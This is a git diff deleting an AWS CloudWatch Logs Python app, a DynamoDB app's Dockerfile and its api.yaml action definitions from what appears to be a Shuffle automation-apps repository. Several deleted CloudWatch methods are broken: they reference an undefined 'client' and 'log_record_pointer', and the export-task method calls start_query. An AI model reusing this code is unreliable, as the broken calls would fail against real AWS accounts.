'logs', - config = my_config, - aws_access_key_id = access_key, - aws_secret_access_key = secret_key, - ) - print(self.cloudwatch) - return self.cloudwatch - - def create_log_group(self, access_key, secret_key, region, log_group_name, kms_key_id, tags): - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region) - - if not isinstance(tags, list) and not isinstance(tags, object) and not isinstance(tags, dict): - tags = json.loads(tags) - - kwargs = { - "logGroupName": log_group_name, - } - - if kms_key_id: - kwargs.update({"kmsKeyId":kms_key_id}) - if tags: - kwargs.update({"tags": tags}) - - return self.cloudwatch.create_log_group(**kwargs) - - def delete_log_group(self, access_key, secret_key, region, log_group_name): - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region) - response = self.cloudwatch.delete_log_group( - logGroupName=log_group_name - ) - return response - - def get_log_events(self, access_key, secret_key, region, log_group_name, log_stream_name, start_time, end_time, start_from_head, next_token, limit): - - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region) - - kwargs = { - "logGroupName":log_group_name, - "logStreamName": log_stream_name, - "startTime":unix_timestamp(start_time), - "endTime":unix_timestamp(end_time), - "startFromHead":start_from_head - } - - if next_token: - kwargs.update({"nextToken":next_token}) - if limit: - kwargs.update({"limit":limit}) - return self.cloudwatch.get_log_events(**kwargs) - - def start_query(self, access_key, secret_key, region, log_group_name, log_group_list, - start_time, end_time,limit,query): - #needs to tested - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region) - log_group_list = log_group_name.split(',') - - kwargs = {"startTime":unix_timestamp(start_time), - "endTime":unix_timestamp(end_time), - "queryString": query - } - - if log_group_list: - kwargs.update({"logGroupNames":log_group_list}) - if log_group_name: - kwargs.update({"logGroupName":log_group_name}) - if limit: - kwargs.update({"limit":limit}) - - return self.cloudwatch.start_query(**kwargs) - - def get_query_results(self, access_key, secret_key, region, query_id): - - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region, log_record_pointer) - - response = client.get_query_results( - queryId=query_id - ) - return response - - def get_log_record(self, access_key, secret_key, region, log_group_name): - - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region, log_record_pointer) - - response = client.get_log_record( - logRecordPointer=log_record_pointer - ) - return response - - def assign_retention_policy(self, access_key, secret_key, region, log_group_name, retention_days): - - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region, log_record_pointer) - - response = client.put_retention_policy( - logGroupName=log_group_name, - retentionInDays=retention_days - ) - return response - - def create_export_task(self, access_key, secret_key, region, task_name,log_group_name, log_stream_name_prefix, from_time, to_time, destination, destination_prefix): - self.cloudwatch = self.auth_cloudwatch(access_key, secret_key, region) - - kwargs = {"logGroupName":log_group_name, - "fromTime":unix_timestamp(from_time), - "to": unix_timestamp(to_time), - "destination":destination - } - if task_name: - kwargs.update({"taskName":task_name}) - if log_stream_name_prefix: - kwargs.update({"logStreamNamePrefix":log_stream_name_prefix}) - if destination_prefix: - kwargs.update({"destinationPrefix":destination_prefix}) - - return self.cloudwatch.start_query(**kwargs) - -if __name__ == "__main__": - CloudWatch.run() diff --git a/aws-dynamodb/1.0.0/Dockerfile b/aws-dynamodb/1.0.0/Dockerfile deleted file mode 100644 index ff7bd7a0..00000000 --- a/aws-dynamodb/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG \ No newline at end of file diff --git a/aws-dynamodb/1.0.0/api.yaml b/aws-dynamodb/1.0.0/api.yaml deleted file mode 100644 index 0806d26e..00000000 --- a/aws-dynamodb/1.0.0/api.yaml +++ /dev/null @@ -1,72 +0,0 @@ -app_version: 1.0.0 -name: AWS DynamoDB -description: An app to interact with Amazon DynamoDB -contact_info: - name: "@gaurav-m92" - url: https://shuffler.io - email: gauravm@infopercept.com -tags: - - Storage - - Database -categories: - - Storage - - Database -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: get_global_table_setttings - description: Get Global Table settings - parameters: - - name: table_name - description: The table name to use - required: true - multiline: false - example: 'my-test-table-name' - schema: - type: string - returns: - schema: - type: string - - name: get_backups - description: Get backup details of the given table name - parameters: - - name: table_name - description: The table name to use - required: true - multiline: false - example: 'my-test-table-name' - schema: - type: string - returns: - schema: - type: string - - name: list_tables - description: Lists all buckets - returns: - schema: - type: string - - name: list_global_tables - description: Get list of global tables - returns: - schema: - type: string -large_image: data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAK4AAACuCAYAAACvDDbuAAAgAElEQVR4Xuy9B5RUVfY9vF/lXJ1pchIUUMCcnVEZ8yiKEZUoBlBEDIwBs6gIShITSlBUFNOoo2NCMIw6jhkjmYamc1dXzv+1z32vusAGtBl/87G+rrWabrorvHfvvuees88+52o9B/wpi7ZH2wjsZiOgtQF3N5uxtsuVEWgDbhsQdssRaAPubjltbRfdBtw2DOyWI9AG3N1y2touug24bRjYLUegDbi75bS1XXQbcNswsFuOQBtwd8tpa7voNuC2YWC3HIE24O6W09Z20W3AbcPAbjkCbcDdLaet7aLbgNuGgd1yBNqAu1tOW9tFtwG3DQO75Qi0AXe3nLa2i24DbhsGdssRaAPubjltbRfdBtw2DOyWI9AG3N1y2touug24bRjYLUegDbi75bS1XXQbcNswsFuOQBtwd8tpa7voNuC2YWC3HIE24O6W09Z20W3AbcPAbjkCbcDdLaet7aLbgNuGgd1yBP4/Adwd9zn9vV1QtRYmYtvfGf/ne//e929++5Y+6X+BgtbegbYL977zUWjpqlr6HUfx94/kLgO3tYNm3Hh224vW8t/R+HlHg5B/08bPGpDN+zn3GXmDxL/LZ6X0762AXLY1Q7715/z+Kdv69bL0Wv0mHP1dWLzywaZtgJf/fhyg/Dnc9mcTtKxZf4/fN/7/U+DKbWjbrvttQbq9gTWe15I1NQBqADh/Ves/C3AzgJYCkPl9o6Y/Wz55F8HbaszpewVvo7XGQ418phX2zhgufjiB19IOZoDWmL+8eRQwZ4EsgWv5XwG39UOfW387fIudWYRtpy0PtBxQsQotAFfGnsBN//8cuL/a8377Iv6Vxd12t9wBeOVTtP+lxW2dj9LsKuxknLZyHbZ9bv5qVgOhHnlWNf//WwFYN5e74irwk1pr7vKt9m+Hyq+eKXtFq21HdhevX3cVcm7XtrOaNz8tugwGcH//DeyaqyCTtq2P89tnQbkKO9vqdoQMrmhOHZ+j33yLvm0emHNja/i4tLitQ1/+Mvntd/3ffebO9qMdfVrz9f9+4Mj75uZ/OwbF8KVy47ttzLLtbvjbx2YXgdv6D95qbe5w3HaAbFnF+cDLf6Pt+b76J+eshAH83z5o+c9s5ZS37sNaeFXrllzzG2mtj+y2ccF2thsatqWlK/79o/i/B+6v9tptwGeY5V9NGp+X76Pu6OZ3ZBtbF5gZl/P7h/y/htlmo7cLb/nHA3dHF9f6yPa/AlytlU6WbHOy1bdkwwxL25IPnRfFCivwW+3OtjD7ra/b/uDL1bXybba7Jn8HEFv50blPIHBbv/h29MqdX5l6RuvAu8vADQVDcNidcDgcMJvNyGQy8mUymeQrlUrlfieepqbJVzabRRYZWGxmpNMppFJp+R1fYzZZoGn0nSG/N5stMJnM8rcsWZRMVr7Tv81mkztEjsViQSIRl/e22+3yPZFI5P6fTqv3N65JhjKbRTKZlC/e144e4WAIHo9H3pvvxddyHPhzLBaD0+mUz+OD18Lf8/98jvwtyev/HUjd5ql8T14nP5c/c7zj8bj87Ha7c2PPz+S8WK1W2Gw2+TkRTyCTzsj/+Xvjvvk3vp6/i0ajubnkGPHBezC+OD58HV/D36m51+S1vEfeHD+br+Xn8GFci/y9lbH9LgGXlqawoBixaBSRSEQGTYAnFwy5CQ4AL1qBTt0gv8vDxPWWQiabEaA2gzOLTDqLdDqDwsIihEJh+eJdOh2u3ATF4lE4HFbdZdh28tVncLA4UMlk8+CZzSYZ5GQyJaDld04+r5Ng4mTwZwNk24MV75/giEYi8hm8R77OGAeCORwOy3saYOHfOSYch2gspmzOLgCXn8Xx5PsSLPxM/kzw8otzwevi3/id18kFxZ+ddoc8PxFLyHN5Tcbz84FpgNIwLLx+fpktJoRCQVgsZnkfm82eAybvm+9ZUlKKWDSeGx+OgzG2aZn31t3/LgM3nUzJqjUsTfNKU5aLg8TB4I3mA1fAbNGQQRrpDAdfwUNZWgWaTAYCYIeDYHLK3wiyVDIlN2+xmpFK0ZrpsXUOAM3Rq7GQstmMAIoPA7gcWJfLC7vdIRNrWEn+3rCQuUXWAnoJ3CwtTVKBh5PCL36muhe1s4h1SyRylt4AOCfOxl1gF4DLceWD95a/YIydxQC2cW38P60o79fn8SAcCiGbJoDUgjKu33g/jolheIwhMHbVTDYNh8MuOxrHTI2BXRY+gUyjsGXLFricbhljYxzUHJgBk4Y0DVkr7n8XgZtFitupzS4DwQvjDdB6GWA1AGtMoGFxxVXQMnB5HEilkwIaAtZsIsi5zVgFqBazFcFgGIFAk7gNBLDT4ZRB5jazFXBz4GpONRIwVqtFBlhZHDXIXOkczEAgBIvZpg+02uJ5/QZwje1xe1aXoHW7XPJnWhk+aGF5f/x/UVERGhsb5T35e44Lf5at3ONBMBxq1cTl36rFbN7KPeH7EzjcDQwA8jvvhZ9v7Igcg3gsApu+rRs7jHKflLExXDtjsckOkds5M3A4uP3TdVM7JD8nkVBuFufL7y+QcaZtiUZjuXuXXYevY9L5fwFcs0njwtnKzzG2LV4cLa7h+3AwuKINK5HNplFbXyVWV0Brtih/VjMjm9WQydBvs8Juc8DhcIlV5qCkksoKiE+XJshayNjov3O6HLKdZTJp8UU5WdFoREDs8xUgmzGhsbFJQMbFx8nm3wyrskOLS5DalVthWBNj0ml1eK8NDQ2CMcPyG8+VrZj+oMXcqolTPoay+AQLF4XX6xVg8DN53cb/+Tc+aGl5nQS1uCqREJwOGgi1DAz3gNdqXD/fm+9puB6GBVf3RIuZhM2mXBRlcNQcWi1WWK02+ZluHg2PETPweriTRmIxWG02ZI0L2J51aGm325WzfDWuvHQC6ZSyULx4I5ghEEKhkAxG/jbEvxMgso0ijZKyQnBnpX9L8NIVCIciCASCiESiqK2tg89boK9cp6zqtB6w8X24MHLA3YrwVmAuL2+H6poqhMMhsbp2u/J5UylaPRsyaW7rygck0Dgx9Nd5fbxWw73Y3phazRY0NTWJhfL7/fL82tpaAUZBQYFMeGFhobzcAHFxcbF8VigcRiKVbDVw6arwMwKNjfI5LpdLroMA5bjzM3gttPpckIa7YgTOmQzdvDg49IaFNQJqvgffk+PL9+W98Yug43MUyFOwWEyIx2My1wRnOByRvxHE/IpGYmJxPR4vnE5XblemETKZLbrF/f0md9dcBWTgtFu57HNBF1e6sUp5A5yk8vJy9OrVC71790a3bt3QqVMntGvXDj6/DfFks8iFFjYWSyAYDCHQ2IRIJIaPP/4XVq78AV9+8TWqq2vk5n0+v7gUtL7qYTjIxs/N+aQ1a1ajqLgQBQV+sRC0vHw+gcVFgixdHOQCm3wfkBZLLYztP8waJy6+lX9pbLH8DC4CY5cxIn7DKpu4HdusuwTc6upqeNzunKvGBaesn4opCFguLF6j4b/S8klw5rQjFmuC1aoCOAJbuVGaWGvuUEcffTRKS0vRvXt3+eK8uVxkEpSFJnAj0ZAsyi1bqrB2zTqsXPm9fFVUVKgdMpWRXdPlcovVDQQCYqg8Xh9icS7c/2vgZjNIxsOw21SAwEniKuTNDRgwAHvuuSdOPvkklJaVorjQnZv9aFwBndGo1coATTEQwiwwE2uEW9wK6a5qwKZNdXj3nffw8suv4OuvvxELUVJaJla5WSZivNL4qCwKC/w49dRT8Oc/HQWzWUMw2ChW1+2i9QZWrd6ADz74GB9/9DGCwaBaFGYzgqGwuA8er2c7LLG+WLJZFPoLEAw1oaGhHgP674OhQ8/D3nv3EytPUBFcNptDGJLvv/8Bzz33PFauXAmX24NoItn8/r8KLrdeMPl8sfHUnj264dhjjsYBB+wv45lIJuB2ewTIXPjLl6/AsvdXCJBcbrcAktYxnozD7XIgEQ/D41ZWlC6V2WTCwIEDcc455+D44wZBn1q5EOMzM1nOF7+yMn98JFKKoTFrQDoL1NbVo6GhEZ988ineeusdfPjBR+LzFhYViwvB10qwnSar8AcAN5/KMrZNw6IgnYQpm0AiprYmWtW+/fpg3Lix6NG9E2rrAigp9suNqTRDFib99jMgeLNIxukj2WAxq0jceKR0y03gOmxWBCPcshxikWfPnoN58+bBbLHBYnPCZKbLkBDQcbuKxeJi5Ss3V+Lggw7ArJkPoGO5B4lYFk6Hhgzdl2xariajWdDQGMPUqfdhzpwH0av3XojHSdFlYbXZwUlSwQMDCZVt0H8SLWsmlYLdZkVToAHty0uxePFClJYUwu0iNZSFVXeBuLiqa+pk4urrm3DccSeiKRiBr6AUsUQS6UxawEaKkG4Mx4dBJVduPBqDz+tFJpUW6tFmscq4WS0mzJ49HX866lB5DalBXlswHITH7UM0loLZYsFVV92Ip55Zgo6dugiLEYlFYHfaEAoG4LKZkc2kUVW1BfsOHIhbJt+MIw4/QBa1hYE/507/OZtW7IVVR3M0HIHD7ZKx4r1qJiYzlFgyLeMLxOIJ2G1OvLdsOV5//R9Y+sJLAuBevfbEps1bYHd6kNU5+x1ubdv88Te5CgYHa0SmBK78LpVAOFCLAfv0w3HHHYcLLjhf/CEG/DojhGSKtFZKBpSUFBeX8rGYiDDDoilrzQfBlxK/SfGCxoODkBLWAbBZFIn9/or3MWPmbHz48b9RWt4BNqsDNbV16Ny5q0SvjY0BYTtKS4qw4InH0L1LO1jNQJp8bSYJq92KNJe7xYF4Enh68RJMnnwLiopLkcmqRAcXBBdQPmCzhpZUX4icVYfdisaGWhx+2MGYNXMaXE4rHDYzhOxLkR82wWZ1oikUgdfjRyIFXHzJWPz731/BbHUjllDjY9aRkpSAU3HgkpxJJuF2OMFVlE4QsFYEA00Y2H9vzHvsQZSV+ZBIxGCm9dMyiESjcDv9CEcT4pOeOvhCfPHlt3B5fbA5HahvrEdpu2KYTVnUVW6G1+3C+ecPxbhx4+BzWREMxQWwXo8dyURaFqfVYoaJQWgqDYtdzUE0GISF88Q5NZO/N+n6agVkJVNXGQb+Zv3GSjz77HN45NHH4HJ54HJ7EQzH/xjgGqQ0L9QAbi64IoeajuKWm27ASSedBK9XgS0cTiCRjCuLIUkAK2z6zwYYk+mEsAOktuLxpPhXtLwEgazYTCZHL9Hq09/io6qmCj6fT6zT1998h+v+NhnrN26Wgaivb0DnLt0EuJs3V6J9u3IEGuvxxLxHcPAB+8HrNiESCsNm1mBz2JAiYMwOmCzAN9+swsgRoxEKR2EXBoODbWqW8OiWVgFXWWD5N52Uaw42NWDc2EswccI4JJMxWSQmLQuzzjiYTFZkwAVhlsU7a/ZjmDHzQbg8hUjqWW9OPt8/lVFpbAJBMlEawGVA4Fo0ZhZNqKmqwZVXjMWk68YqpiQeAalRAoxvp4F0kxlfffMzzjxzKFyeAoniC4oLBbipTALpRAwFbiduv+VmnH76KWCMzZ3T5TCLlaUbRtZIOGCLiaEMGhsaZeF4fG6l7MtAjArZHWEcZAGaYLFahDEJSbBGLt4lO9Mvqzbg/AuGoaqqGoVFJbKI/xCLawQSnCQOIh+ypfGRTqJDuwI8v+RpFBZ4ZGuiX2i4Byl9i+FTE0mVAuXN0YeUCJ9bbDAiVsFqUasyFFIZOLfbJWDnVk3ulZwfqSc+mkJNYrXdLg/eem8F7ppyL9at24B25R3Q0BDIrXKPy41NFRsw6dqrMX7cxXDaobZYshgWTX5OazZY7WaEQmmce85QfPPtShnQTEZDIpmCialQfqhIJ8g9b029pZNxsVy0rrNmTsdfjjkKCR24dBOM+g4uAn5FY0nYHXYse/9jDBs+Gh5fMbKazpcSqNmMbLMEo+JQIeOQiicEuE4mLNIZBBoaZSf5858OkGDW4bIKaJlGFyPDHUOz4b7pD+K+6bPRo2dvVGzajHbt20Ez07f/GUUFXjz4wDScdNwx8pqGxiAcdodQZKlUFjaruvp4jJRYChahuZgKVtPf0BCCz6cMilRiEMV8RY4lUss7JbhhNo/pfw1Dzjwbq1evEVfPbHX8McAliAyfViUJVM5dLjYVR68eHfHE448KVSIcoU2lewlaBXblNvDL8MGNgEvHgzxXnqP76IlkRrhWvp9LDxwIXqGsLGrU6AOGxe914YFZD+OBB2aiQ8fOqKioREFhkQQAyXgCgcYGHHzg/nhy4RNw2DSQBFG+KVOcJOToJ6trnjDhBrz40iviLpDfpe9pYnSuX7gCrrovI1uXSkSRTMTQqWM5Fsyfh149uiCeiMFm0XT/luwFAzBSbg5EY3Gh2bZUN2DImeeiqiYAs5VZJlrKrJ5JYuCigMvP4QJPRGOyTbudDvF5/V4fXlz6HDp1LBAKyu1xCGiT6Tg0Mi7JDJIpDWPHTsRn//4KPn+RANfhssPjcSEaC2LM6BH424RxqKmqRklJiVj4VJpajiRcThsSSRV8cdr1LD5IxHBOKTsgTuPRtGQw6cpL+pZzwz/IfPO1GVjNXFBAbX0TNM2K008fgsrKLRKcquBs6/jGGOEdfd+pj6soDwVUI+vFQZZMSSomwJ3/xGM5DtduNcvNEZzi6+o3U1sblO177dq1WLVqFdatXS8cI2+aFFVxcRH69euHgQMHoGfPnigt8Yt3lMpkBcRet2IlNlVuht/vg4euQSCAAr8fW2oCGDlqNL7//ifY7E506NAJjQ0BoXb4+ZlkAk8vXoT+e+8lVpfATcYjikfUbNAYCgNYvPhFTLn7XlhtpHvUJLIiywCreG5bATeDbDqBYFMjjjn6KMyeNQOFPpdE9hYtC5tFNnjx22mTzWYbUmmlB0hlgCvGX4M331oGm8Ot/FmmpYkSJnVE28EANi2WlL5tMh4XfzTUFMSfjjoKD82ZDbqb2SwDJoIjjWAkCAf5XNiwduNmDB58LsgaktWg+9XU1Ih0JoHDDj8Yjz38IDKxEHwuJxxOumwJNAVDKCkplvEINEXg9blQVdWINWvX48svv8LH//oEFRWbYLFa4bDb4LDRAlvgcjlRVFKErl27oG/fPui3d1+UlhQjHI0L9eWw8/4UHk488Uz8smoVHE66G82G4bcA1njOToFr+LiGMMIQWvD3qWQUvXt2wmuvviQ0SDJNdRfz80AsmpQbfOWVv8vqWrVqNSo2VqCpiVksRYVwVpuCjeIW8ItZIJLZZASOP/44DBp0DI48/GCEoySxbbCYTEK5CU/Jyc9mxNXw+zyYN38x7rzrHrjdXhQWlkg2jOwBaa/1a9dg4lXjceP148UkpJMJ2Kz0H7NIa4rDpIxh3bqNGD5iNAJNIQGuxWpHItWcS28JuLSsNdWVuHzcZZh03VVq18hmkE0lYaMlkpFWQYraME1IMIFiMWPuQ49j6rSZcLp9kkEiaJMUKumpVpVaJQOShdVsQiIehcfpQqChAVdPvApXjB0l4+x2WxGNR2G2mhBPxOF0uMW/ffnVNzBq1GUoLe2Qo8gaG+ukzu7222/GuUP+CosEzBmx5twN3B6fWMdwmFktB5Y8txQrPvwIn3z6b6G46GfY7A6xyg31dfC4HBKAMqbhQnO7aTjao3uPbjKPw4cPFyalQ4eOcNh5fcDZZ5+PX35ZJe/FAPgPocPyFV75SiQDuN26lOOlF5+TLZtAoNNN7m7F8g/xzjvvSvaEK5kUCLdvCi74O26fsXgcPr8bsVhUCTToy6WSiETCsu24PS5cP+k6nHbaXyXRweDCrcsMGxobUFhQiFgqI8HA+vWVuODC4aiqroVJswrZzc/kglj1y0844rCD8eorzyAajiOdiqPA7xVQJNIZWKw28b/IRx93/GlYt75CsmmMehVwlZltCbhupxVVWzbhrjtvx7Dzz5bn0PFIJuj7KsjKYjdbxGemBJQuCAPWN99ehosvvUKAy+wSQUsWhkENF7bitjVk0ym4nXbEY1F4XS40NtRjzqxZOOG4I5GIUS9gQiQWhY2+aSYNs8mGhlAId941FYufeh5lZR1htdrFbWKmrHu3Tnjt9ZdhNWfhNAONtTVCJZroXiVpve2orWvEa6+/gdvumCLXa3e6xUIyVuHkOF1uMSTxaFiCUxoWAjcejyIai4gaj/8nN37iiSdh0F+OR0FBIaqranHrrbcJFopLShEMRf444IrN0CfPEF0oO5JGIh7EaYNPQZ8+ffDDDz9i2Xvvi3VlOrW0tEy0tc2iS2Of1bVsjNQlEFGTS1NtZLbMFk24Xfq2N17/N1x4/jkSqNGKcusMCbmvkgMS1EVTmHTd9Xjp5VdRUMitTumBRbVm0pBKxrD0+Wewd58eSKdoYRISICYzaeEaGfXSWt5y6z2YOetB9OnTT4IVq8MhgBMthS4MMSSQdm5/qQgK/G48OGc2Bu7dR9yLVCIOj9OhgzYNk0YrmxLwCg9qtck1b66qxUmnDEYixZ3KjEg0BpvDIQuJ+X0KihT3DVhM5FU11NdUw+mw49+ffgIuGr4RXbJwlEGuA/XBRvi9RQiEwzh20IlobIzC6fCK8eDCDDbV49KLR+FvkyaoMbCakGKKOJOF3eWWz3V7fXjzn+/i0svGwWJ3iuWlZUxyh8pwETJQMCsnN51S+4n45IZGmrpkFajxfmnQREPNghWNSSfqVaxqPKgs/CMSEMaqz/kWuhBcD70QDjXA4bQJm0DWgPrLosJiJJNpoaUUE5FfJm6EZCrwED7XpCJ1ea48n34gfUINVZWVkvW68cbr0bdPbyTi3ArzOV51JekM8MCMOZg95yF4vX5kshThKCE0g45IuAlT77kL5507WICrZZjLJ2OQQZy6BbNVALZg0bO49dY74fEwHZmCzemSwaUFJHDphxopU5vNjMaGLfjTUYdh6r33okNZsVpI6axQbuRgeT8imRTNrC6OF16afGscI0dfiq+++Q4eppfjSXFPNBPFSUoMLoR+JgUzfWarSYDLpMqzzzyFLK2zCLQZSMbF3QjHI7DanXj7nWUYc/E4uFyFsFocIgV12W1oCtRh8k3XYvTI85l+EQcmHo4ofa3dIdQkkxS33HonHl+wCF26dkcwFEUkFidZC41bO29Sd7GyXJCGRkQYFzV/ioNRGVL+WrKiTD9pajdRriLjiPQfA9x8dVS+xE/9TB1uGl6PS1aWEnurh8mkFPgETnO5uAFaw+8T1YC+VEXqJH6uAFejhTGJ7I7b7qRJ1+LSi0cKJ8jVzMCHq59ZG1piZpHe+OcyXDF+ogRotHzUhiqJpQmNDXU47dSTcf/0qXDZleVXS0eJ6+iDcmC/+e4nXH7FBKxfV6GCB04U/8ZJo7hE1/XSmhO469f9iJtu/Buuvkr5zxY9ZU2NMn3TVb/8Irn+ouKiHK0STyXELSBffPfU6Zg5ey7Ky9vL4pPkh/C9KsAlMAlcZFIC3Mb6Glw/6VqMu2wM4rEEXCIrNKCivkfTSdx08+148sklKC3pAGSYLCI/a0NjfRUemjsDJ51wjOyYYhUTCVhsduHVuaBo9U/+62D8+NMqWUi8JrPVBpvDKa4T+V2OB1kB+rpqNI2iU7UYmAjh74VOpVRVBO0MVhmMZ2Vxcyz/MFmjAdyWdanKYhqKfkO2yACKIDb+3xwtGloCw2dUdAn3GMX8cCFwwhVw6SMyn75u7Wqce+7ZmDXjPhkM2fbsNnktwR3V///zqg0YfPqZMJlJ5SifWqmezKirrUZ5u1K8sPRZdOpQIu/D6N9qZRLaCJzMiMXTuPSyy/Hmm2+jvH0nyWrRAjIPz0GmD2nsQtyiN1WswsIF8/DXE49HPJGWjBm3RGabGHFPn3Y/DjroIBx+xOHCz5ILJXAZ4VN48vpb72DEqDEoLi6Bze6S9+BuQZ9UqEjyUByXdEKARm3IkmcXY/+B/cWKOsh1c8cmFZYhdWlDZV0thl44EhWb6Fb4kIymZEtyO22ora7Ac88uwoH77yMpXeUCkWJUGa6GxiZhJU4fchZWfv+jLC5G/qTYNBkDcs3qdeKHy0JTc2dYWwZ7dP9E/5dWrpIBXNIydBs4dwQwhUb/p3pcA9D0U+gm0AlngFZWVio45e+awS57yza6WcPq6ivR0APQumR5s8p6ZdJJyanvvXdfPPbow+hQXiJuCLNH9Pn4zvQNSWYHmsI4/oSTxSqQxxQhOrdAswnhUJO8z5OL5uPoPx8hma1INAKb3QSLySxbuSLd7bjltrsxd+6jaN+hM9IsJtRr4MTHlk80KhvITiTx5KIn0L9vH8QTCqypZAZWuT7gmKMH4YwzzsDYcWPBVC4DUAKM1pvW58fVazD4jLPErfKzDEp0EibY7U6Rb4pWhDFAOiGCmHalhXj5paUoKy5CJp2CTdyKJGBh0iENi82B5R9/jJGjL4HbUyjqt0QsCXMG8LrtqK3aiCXPLMBBB/SHzW5FIpHRNRmq/CcQCAtrMPmWWzDnwYdw8CGHCV9e39Ao7A6TPoVFRRJEEuR2p1cBWYwOAzdm+rLypTbl5mJY3TYp94c7iuxkzBY2m7bf+tNO6TADfPkuQ+5nPS1KqaEhZ+TWS96V//f5vHqhYF6aNC/zxAtPpxlEUfug5BnUNQhwVYJUJoeZHKfDJsDdu29vkcnxXuke8BFPJJBOa6K0+uupp6MxEEIqowZHKffF8UR1VaXQYuOvGAe3ywqWngBJUJqYpM43zaygA4uffh433DAZDqdHIn6xMrnAxCJ5eVW7FcLBB+2NmTOmobioSHYJCUCyAHMaTYEw+vXpi1NP+yvuf+B+mJgKtZgkpcugNZFJIxCM4OJLx+Hjjz9BWbsOklmjhaPlpPMimUa6g9kkIuEAjv/L0Zg+7R4ZDwtvLKVE7BY7U7xAPJvGA7MfxLT7Z6OgsAzZjAXZVBbmTBYFPhfqayowZ+ZUnHLSIGi8jyS5aTOagkEUFfrFXaH7+X9cfsIAACAASURBVNJLr+OysePgdHng9ngVNZhI6oowmzyJklSTlSIbjg8DMi40FWzzmg2lnwq6M8r3yXIhGj6uuvY/FLiyG1BwYhSHySLTZKCF3E6zUFKTDJrQICEq3inyMKpk9fg/L9dPQLAAlsClVdwauOQvuZ0ylWmS7NTTi5/EPv16I5FQ1BWNH+dOth1oAoKh5w8TOstkYQCnVjQpNk50dTUVUPvgkYfnokO5ItmBhKp7S2UliCEX/cMPq3DxxZehuqYBXn+RTCZpIvrUpIqYh6c71NRUjxHDz8Jtt94kC8lOyx6Jw+OyCyW2/P2PcP555wkZP3/BfJS2KxXgknNlajWWSiKdNeH+GbMxc+YcdOjYRcZTM1kZrAtfLYo8WlJTBvFYCJNvnITzzj1T/F6XjelfgoQqN7VRb2mswyWXXY7/fPkd7A6vANeUNcGUzqDA60R9dQWunnAZLrt0hAhkkhlm7KgpZuUxa86UMajYVIu5cx/C0888K74pwUu5JMeBKWbOpsvjRzzN3UqTbBmNDt0ZAW0OuGJaddD+GrjETauA22PAkbnC9pYstkR/usFUAYPS+wiIxd9hCYxfgEv9qdralLPOqD2ZV8zY3NJSgZivT2VYA6UqUCXLRSUZSXfd4qaSccSiYSG533zjdfTq1VNNGov0kqrs26bTS3WNIYwafQm+/+Fn8Re5xfM6hf/0uFFXVy3v+9qrr6DXHj1gNpPYp5Y0Kvdotzpl+4onMhh6/nB8u/InON1Uc2URlSpYikVYkmMV7WpD3RZce/U4XH/dRAm2bBYLamsbUVZSINf10Nx5mD5tmmSVnnzqSezVpzfsFOSEAvB6vELFQbPi+RdexvgJE9Gpc7ecxSXDwOAny6LRdFKuM5uO48mFj2P/Af2EJnTabEgnlRgnlkwiYzbh+19+wRlnnQOTxQHNxAoPDVazDel4HH63U1yFoWefgRuvvxoujwtgqZRZZUbJqTIdzFQvdQo1tU2YMuVurPjgQ6E4S8vaSRDJgJsL12x1ImOyy+6mSp1UUQDpRwVe0pCqeloxC0r22NyIUGk/WgXc7gMP12HZHGnLXehdDrf+IF1MnNefK84ghJMpwuWwgISkP8XJyWRcBl19p7hGkzShCubSSLL3AAeeYgs6/lKbr4r6HKIUsyHNCDwZR011FZ5avEikg1RcEWlUmFnNVF2pzBQt7vARF+Hb736Az1eERFzpLKT4kVkdhx0b1q/BtddMxKRJV0i2jAFWMhVHKh6D1+2RDFIymcX9Mx/Ew48tgKughDYEgWAYxaWlqK2ugt1qkkDHYQHuv+8OHH3UEaitr0dxkaLDWCTMXP6wYRfj008/lXG5++4pOH/o2ZL9stl4/9yp1EL57N9fY/io0RIIeguKEI5xG1KLjpNPKow0WJ89e+Ifr7wIn8uGRExJD8kGiE6WwLABd02diWkzZqJbz16oqWuQAJX6Dsbz8UgEHocNlRUb8Pmn/0LnTuWIxgLw+dwq+ZGkRsEtwS5loe3alQsUPv3sCzz//FK8/fa7qNxSpQpWWTeW1eApKJUdySiQ5PXSj2cARtDSpWIyiAozBmpU5PEhpVrUHmdbaXG77XtYDrhqFzc6m6iVkQ9c9XPzM/h0m0M12YhGwmKJmGKtr6uTCerUqT0SiaiAl4CORsOIhsNCb1E4TcC179xVghpV4qHKvEmf8IsW2Ov1yFZJ8C557hns239vASytjHIuaEN14IZ04H7bDFwGPV6PR7I8BABpsf33G4gF8x+Hx6MU+MqaJYTbpfKK4vTnl76CG265EwlYkYIFmsUq+Xwtm0IqHkU2FUVpoRdLnnoCPbp3QTQah4M1VQzgskBVdRNGjRotugymsUePGoHr/3atpD25o3DXIKdJN2ljRTUuHDESGzZXIku3iVk0kQI6xN1iurexrkaYixn33QMPBeOs2pXpUi5TmunzaApjr5yAZR98AH9RMaJ64xH6lhwru8WKTCKBzRs34uYbbsDVE8eITxqLBYU65LUozbRqthwW2ktVSPNBTe8bb/xTFiPLdMjcbKqsEfqRuy7BTH0IGSUaDMpPGcwxm8rgnfdDd4M7l0hkhTqiFsSIgX5raAZo3fY1LC4DAMPqNndpaAauDthcyx5JZsLtcaOmphouh0P82ZiewSH/+tO3X8N